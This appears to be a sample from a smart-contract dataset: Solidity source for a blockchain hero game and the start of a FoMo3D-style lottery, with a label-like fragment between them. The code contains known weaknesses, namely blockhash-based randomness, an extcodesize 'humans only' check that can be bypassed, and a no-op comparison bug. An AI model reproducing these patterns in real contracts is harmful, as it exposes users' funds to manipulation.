mission.stockitemId_drops[3] = data.ReadUint16(13);
mission.statsrequired[0] = data.ReadUint16(15);
mission.statsrequired[1] = data.ReadUint16(17);
mission.statsrequired[2] = data.ReadUint16(19);
mission.statsrequired[3] = data.ReadUint16(21);
mission.statsrequired[4] = data.ReadUint16(23);
mission.count = data.ReadUint16(25);
return mission;
}
function toWei(uint80 price) public returns(uint256 value){
value = price;
value = value * 1 finney;
}
}
library GlobalTypes{
using Serializer for Serializer.DataComponent;
struct Global
{
uint32 m_LastHeroId;
uint32 m_LastItem;
uint8 m_Unused8;
uint8 m_Unused9;
uint8 m_Unused10;
uint8 m_Unused11;
}
function SerializeGlobal(Global global) internal pure returns (bytes32)
{
Serializer.DataComponent memory data;
data.WriteUint32(0, global.m_LastHeroId);
data.WriteUint32(4, global.m_LastItem);
data.WriteUint8(8, global.m_Unused8);
data.WriteUint8(9, global.m_Unused9);
data.WriteUint8(10, global.m_Unused10);
data.WriteUint8(11, global.m_Unused11);
return data.m_Raw;
}
function DeserializeGlobal(bytes32 raw) internal pure returns (Global)
{
Global memory global;
Serializer.DataComponent memory data;
data.m_Raw = raw;
global.m_LastHeroId = data.ReadUint32(0);
global.m_LastItem = data.ReadUint32(4);
global.m_Unused8 = data.ReadUint8(8);
global.m_Unused9 = data.ReadUint8(9);
global.m_Unused10 = data.ReadUint8(10);
global.m_Unused11 = data.ReadUint8(11);
return global;
}
}
library MarketTypes{
using Serializer for Serializer.DataComponent;
struct MarketListing
{
uint128 m_Price;
}
function SerializeMarketListing(MarketListing listing) internal pure returns (bytes32)
{
Serializer.DataComponent memory data;
data.WriteUint128(0, listing.m_Price);
return data.m_Raw;
}
function DeserializeMarketListing(bytes32 raw) internal pure returns (MarketListing)
{
MarketListing memory listing;
Serializer.DataComponent memory data;
data.m_Raw = raw;
listing.m_Price = data.ReadUint128(0);
return listing;
}
}
library Serializer{
struct DataComponent
{
bytes32 m_Raw;
}
function ReadUint8(DataComponent memory self, uint32 offset) internal pure returns (uint8)
{
return uint8((self.m_Raw >> (offset * 8)) & 0xFF);
}
function WriteUint8(DataComponent memory self, uint32 offset, uint8 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadUint16(DataComponent memory self, uint32 offset) internal pure returns (uint16)
{
return uint16((self.m_Raw >> (offset * 8)) & 0xFFFF);
}
function WriteUint16(DataComponent memory self, uint32 offset, uint16 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadUint32(DataComponent memory self, uint32 offset) internal pure returns (uint32)
{
return uint32((self.m_Raw >> (offset * 8)) & 0xFFFFFFFF);
}
function WriteUint32(DataComponent memory self, uint32 offset, uint32 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadUint64(DataComponent memory self, uint32 offset) internal pure returns (uint64)
{
return uint64((self.m_Raw >> (offset * 8)) & 0xFFFFFFFFFFFFFFFF);
}
function WriteUint64(DataComponent memory self, uint32 offset, uint64 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadUint80(DataComponent memory self, uint32 offset) internal pure returns (uint80)
{
return uint80((self.m_Raw >> (offset * 8)) & 0xFFFFFFFFFFFFFFFFFFFF);
}
function WriteUint80(DataComponent memory self, uint32 offset, uint80 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadUint128(DataComponent memory self, uint128 offset) internal pure returns (uint128)
{
return uint128((self.m_Raw >> (offset * 8)) & 0xFFFFFFFFFFFFFFFFFFFF);
}
function WriteUint128(DataComponent memory self, uint32 offset, uint128 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadAddress(DataComponent memory self, uint32 offset) internal pure returns (address)
{
return address((self.m_Raw >> (offset * 8)) & (
(0xFFFFFFFF << 0) |
(0xFFFFFFFF << 32) |
(0xFFFFFFFF << 64) |
(0xFFFFFFFF << 96) |
(0xFFFFFFFF << 128)
));
}
function WriteAddress(DataComponent memory self, uint32 offset, address value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath32 {
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a / b;
return c;
}
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath16 {
function mul(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) {
return 0;
}
uint16 c = a * b;
assert(c / a == b);
return c;
}
function div(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a / b;
return c;
}
function sub(uint16 a, uint16 b) internal pure returns (uint16) {
assert(b <= a);
return a - b;
}
function add(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath8 {
function mul(uint8 a, uint8 b) internal pure returns (uint8) {
if (a == 0) {
return 0;
}
uint8 c = a * b;
assert(c / a == b);
return c;
}
function div(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a / b;
return c;
}
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
assert(b <= a);
return a - b;
}
function add(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a + b;
assert(c >= a);
return c;
}
}
contract HeroHelperSup
{
address public m_Owner;
address public m_Owner2;
uint8 lvlCap = 20;
bool public m_Paused;
AbstractDatabase m_Database= AbstractDatabase(0x095cbb73c75d4e1c62c94e0b1d4d88f8194b1941);
address public bitGuildAddress = 0x89a196a34B7820bC985B98096ED5EFc7c4DC8363;
mapping(uint32 => uint) public timeLimitPerStockHeroID;
using SafeMath for uint256;
using SafeMath32 for uint32;
using SafeMath16 for uint16;
using SafeMath8 for uint8;
modifier OnlyOwner(){
require(msg.sender == m_Owner || msg.sender == m_Owner2);
_;
}
modifier onlyOwnerOf(uint _hero_id) {
OwnershipTypes.Ownership memory ownership = OwnershipTypes.DeserializeOwnership(m_Database.Load(NullAddress, OwnershipHeroCategory, _hero_id));
require(ownership.m_Owner == msg.sender);
_;
}
address constant NullAddress = 0;
uint256 constant GlobalCategory = 0;
uint256 constant HeroCategory = 1;
uint256 constant HeroStockCategory = 2;
uint256 constant InventoryHeroCategory = 3;
uint256 constant OwnershipHeroCategory = 10;
uint256 constant OwnershipItemCategory = 11;
uint256 constant OwnershipAbilitiesCategory = 12;
uint256 constant ProfitFundsCategory = 14;
uint256 constant WithdrawalFundsCategory = 15;
uint256 constant HeroMarketCategory = 16;
uint256 constant ActionCategory = 20;
uint256 constant MissionCategory = 17;
uint256 constant ActionHeroCategory = 18;
uint256 constant ReferalCategory = 237;
using Serializer for Serializer.DataComponent;
function ChangeAddressHeroTime(uint32 HeroStockID,uint timeLimit) public OnlyOwner()
{
timeLimitPerStockHeroID[HeroStockID] = timeLimit;
}
function ChangeOwner(address new_owner) public OnlyOwner(){
m_Owner = new_owner;
}
function ChangeOwner2(address new_owner) public OnlyOwner(){
m_Owner2 = new_owner;
}
function ChangeDatabase(address db) public OnlyOwner(){
m_Database = AbstractDatabase(db);
}
function HeroHelperSup() public{
m_Owner = msg.sender;
m_Paused = true;
}
function changeLvlCap(uint8 newLvl) public OnlyOwner(){
lvlCap = newLvl;
}
function GetHeroStockStats(uint16 stockhero_id) public view returns (uint64 price,uint8 stars,uint8 mainOnePosition,uint8 mainTwoPosition,uint16 stock,uint8 class){
LibStructs.StockHero memory stockhero = GetHeroStock(stockhero_id);
price = stockhero.price;
stars = stockhero.stars;
mainOnePosition = stockhero.mainOnePosition;
mainTwoPosition = stockhero.mainTwoPosition;
stock = stockhero.stock;
class = stockhero.class;
}
function GetHeroStock(uint16 stockhero_id) private view returns (LibStructs.StockHero){
LibStructs.StockHero memory stockhero = LibStructs.DeserializeStockHero(m_Database.Load(NullAddress, HeroStockCategory, stockhero_id));
return stockhero;
}
function GetHeroCount(address _owner) public view returns (uint32){
return uint32(m_Database.Load(_owner, HeroCategory, 0));
}
function GetHero(uint32 hero_id) public view returns(uint16[14] values){
LibStructs.Hero memory hero = LibStructs.DeserializeHero(m_Database.Load(NullAddress, HeroCategory, hero_id));
bytes32 base = m_Database.Load(NullAddress, ActionHeroCategory, hero_id);
LibStructs.Action memory action = LibStructs.DeserializeAction( base );
uint8 actStat = 0;
uint16 minLeft = 0;
if(uint32(base) != 0){
if(action.cooldown > now){
actStat = 1;
minLeft = uint16( (action.cooldown - now).div(60 seconds));
}
}
values = [hero.stockID,uint16(hero.rarity),hero.hp,hero.atk,hero.def,hero.agi,hero.intel,hero.lvl,hero.isForSale,hero.cHp,hero.xp,action.actionID,uint16(actStat),minLeft];
}
event heroLeveledUp(address sender, uint32 hero_id);
event BuyStockHeroEvent(address indexed buyer, uint32 stock_id, uint32 hero_id);
function BuyStockHeroP1(uint16 stock_id) public payable {
LibStructs.StockHero memory prehero = GetHeroStock(stock_id);
uint256 valuePrice = prehero.price;
valuePrice = valuePrice.mul( 10 finney );
require(msg.value == valuePrice && now < timeLimitPerStockHeroID[stock_id] && prehero.stars >= 4);
BuyStockHeroP2(msg.sender,stock_id,5,valuePrice);
}
function BuyStockHeroP2(address target,uint16 stock_id,uint8 rarity,uint valuePrice) internal{
uint256 inventory_count;
LibStructs.StockHero memory prehero = GetHeroStock(stock_id);
LibStructs.Hero memory hero = buyHero(prehero,stock_id,rarity);
GlobalTypes.Global memory global = GlobalTypes.DeserializeGlobal(m_Database.Load(NullAddress, GlobalCategory, 0));
global.m_LastHeroId = global.m_LastHeroId.add(1);
uint32 next_hero_id = global.m_LastHeroId;
inventory_count = GetInventoryHeroCount(target);
inventory_count = inventory_count.add(1);
OwnershipTypes.Ownership memory ownership;
ownership.m_Owner = target;
ownership.m_OwnerInventoryIndex = uint32(inventory_count.sub(1));
m_Database.Store(target, InventoryHeroCategory, inventory_count, bytes32(next_hero_id));
m_Database.Store(target, InventoryHeroCategory, 0, bytes32(inventory_count));
m_Database.Store(NullAddress, HeroCategory, next_hero_id, LibStructs.SerializeHero(hero));
m_Database.Store(NullAddress, OwnershipHeroCategory, next_hero_id, OwnershipTypes.SerializeOwnership(ownership));
m_Database.Store(NullAddress, GlobalCategory, 0, GlobalTypes.SerializeGlobal(global));
divProfit(valuePrice);
BuyStockHeroEvent(target, stock_id, next_hero_id);
}
function divProfit(uint _value) internal{
uint256 profit_funds = uint256(m_Database.Load(bitGuildAddress, WithdrawalFundsCategory, 0));
profit_funds = profit_funds.add(_value.div(10).mul(3));
m_Database.Store(bitGuildAddress, WithdrawalFundsCategory, 0, bytes32(profit_funds));
profit_funds = uint256(m_Database.Load(NullAddress, ProfitFundsCategory, 0));
profit_funds = profit_funds.add(_value.div(10).mul(7));
m_Database.Store(NullAddress, ProfitFundsCategory, 0, bytes32(profit_funds));
m_Database.transfer(_value);
}
function GetTimeNow() view public returns (uint256){
return now;
}
function GetInventoryHeroCount(address target) view public returns (uint256){
require(target != address(0));
uint256 inventory_count = uint256(m_Database.Load(target, InventoryHeroCategory, 0));
return inventory_count;
}
function GetInventoryHero(address target, uint256 start_index) view public returns (uint32[8] hero_ids){
require(target != address(0));
uint256 inventory_count = GetInventoryHeroCount(target);
uint256 end = start_index.add(8);
if (end > inventory_count)
end = inventory_count;
for (uint256 i = start_index; i < end; i++)
{
hero_ids[i - start_index] = uint32(uint256(m_Database.Load(target, InventoryHeroCategory, i.add(1) )));
}
}
function buyHero(LibStructs.StockHero prehero,uint16 stock_id,uint8 rarity) internal returns(LibStructs.Hero hero){
var mainStats = generateHeroStats(prehero,rarity);
hero = assembleHero(mainStats,rarity,stock_id,1,0);
return hero;
}
function assembleHero(uint16[5] _mainStats,uint8 _rarity,uint16 stock_id,uint8 lvl,uint16 xp) private pure returns(LibStructs.Hero){
uint16 stockID = stock_id;
uint8 rarity= _rarity;
uint16 hp= _mainStats[0];
uint16 atk= _mainStats[1];
uint16 def= _mainStats[2];
uint16 agi= _mainStats[3];
uint16 intel= _mainStats[4];
uint16 cHp= _mainStats[0];
return LibStructs.Hero(stockID,rarity,hp,atk,def,agi,intel,cHp,0,lvl,xp);
}
function generateHeroStats(LibStructs.StockHero prehero,uint8 rarity) private view returns(uint16[5] ){
uint32 goodPoints = 0;
uint32 normalPoints = 0;
uint8 i = 0;
uint16[5] memory arrayStartingStat;
i = i.add(1);
uint32 points = prehero.stars.add(2).add(rarity);
uint8[2] memory mainStats = [prehero.mainOnePosition,prehero.mainTwoPosition];
goodPoints = points;
normalPoints = 8;
uint16[5] memory arr = [uint16(1),uint16(1),uint16(1),uint16(1),uint16(1)];
arrayStartingStat = spreadStats(mainStats,arr,goodPoints,normalPoints,i);
return arrayStartingStat;
}
function getRarity(uint8 i) private returns(uint8 result){
result = uint8(m_Database.getRandom(100,i));
if(result == 99){
result = 5;
}else if( result >= 54 && result <= 79 ){
result = 2;
}else if(result >= 80 && result <= 92){
result = 3;
}else if(result >= 93 && result <= 98){
result = 4;
}else{
result = 1;
}
return ;
}
function spreadStats(uint8[2] mainStats,uint16[5] arr,uint32 mainPoints,uint32 restPoints,uint index) private view returns(uint16[5]){
uint32 i = 0;
bytes32 blockx = block.blockhash(block.number.sub(1));
uint256 _seed = uint256(sha3(blockx, m_Database.getRandom(100,uint8(i))));
while(i < mainPoints){
uint8 position = uint8(( _seed / (10 ** index)) %10);
if(position < 5){
position = 0;
}
else{
position = 1;
}
arr[mainStats[position]] = arr[mainStats[position]].add(1);
i = i.add(1);
index = index.add(1);
}
i=0;
while(i < restPoints){
uint8 positionz = uint8(( _seed / (10 ** index)) %5);
arr[positionz] = arr[positionz].add(1);
i = i.add(1);
index = index.add(1);
}
return arr;
}
function levelUp(uint32 hero_id) public onlyOwnerOf(hero_id) returns(uint16[5] ) {
LibStructs.Hero memory hero = LibStructs.DeserializeHero(m_Database.Load(NullAddress, HeroCategory, hero_id));
LibStructs.StockHero memory stockhero = LibStructs.DeserializeStockHero(m_Database.Load(NullAddress, HeroStockCategory, hero.stockID));
require(hero.xp >= hero.lvl.mul(15) && hero.lvl.add(1) < lvlCap);
uint8 normalPoints = 8;
uint8 i = 0;
uint16[5] memory arrayStartingStat = [hero.hp,hero.atk,hero.def,hero.agi,hero.intel];
i = i.add(1);
uint8 goodPoints = stockhero.stars.add(2).add(hero.rarity);
uint8[2] memory mainStats = [stockhero.mainOnePosition,stockhero.mainTwoPosition];
arrayStartingStat = spreadStats(mainStats,arrayStartingStat,goodPoints,normalPoints,i);
saveStats( hero_id, arrayStartingStat,hero.rarity,hero.stockID,hero.lvl.add(1),hero.xp);
return arrayStartingStat;
}
function getXpRequiredByHero(uint32 hero_id) public view returns(uint){
LibStructs.Hero memory hero = LibStructs.DeserializeHero(m_Database.Load(NullAddress, HeroCategory, hero_id));
return hero.lvl.mul(15);
}
function saveStats(uint32 hero_id,uint16[5] arrStats,uint8 rarity,uint16 stock_id,uint8 lvl,uint16 lastXp) internal{
uint16 remainingXp = lastXp.sub(lvl.sub(1).mul(15));
LibStructs.Hero memory hero = assembleHero(arrStats,rarity,stock_id,lvl,remainingXp);
m_Database.Store(NullAddress, HeroCategory, hero_id, LibStructs.SerializeHero(hero));
heroLeveledUp(msg.sender,hero_id);
}
event heroReceivedXp(uint32 hero_id,uint16 addedXp);
function giveXp(uint32 hero_id,uint16 _xp) public OnlyOwner(){
LibStructs.Hero memory hero = LibStructs.DeserializeHero(m_Database.Load(NullAddress, HeroCategory, hero_id));
hero.xp = hero.xp.add(_xp);
m_Database.Store(NullAddress, HeroCategory, hero_id, LibStructs.SerializeHero(hero));
heroLeveledUp(hero_id,_xp);
}
}
contract AbstractDatabase
{
function() public payable;
function ChangeOwner(address new_owner) public;
function ChangeOwner2(address new_owner) public;
function Store(address user, uint256 category, uint256 slot, bytes32 data) public;
function Load(address user, uint256 category, uint256 index) public view returns (bytes32);
function TransferFunds(address target, uint256 transfer_amount) public;
function getRandom(uint256 upper, uint8 seed) public returns (uint256 number);
} | 1 | 5,081 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularQuick is F3Devents {}
contract FoMo3Dquick is modularQuick {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcQuick for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x68f6199D97bbA1F18777FE69D1F354292C3d498C);
DiviesInterface constant private Divies = DiviesInterface(0xc7029Ed9EBa97A096e72607f4340c34049C7AF48);
address private admin = msg.sender;
string constant public name = "FOMO Quick";
string constant public symbol = "QUICK";
uint256 private rndExtra_ = 0 minutes;
uint256 private rndGap_ = 0 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 15 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(33,3);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(61,5);
fees_[3] = F3Ddatasets.TeamFee(47,4);
potSplit_[0] = F3Ddatasets.PotSplit(15,5);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,10);
potSplit_[3] = F3Ddatasets.PotSplit(30,5);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
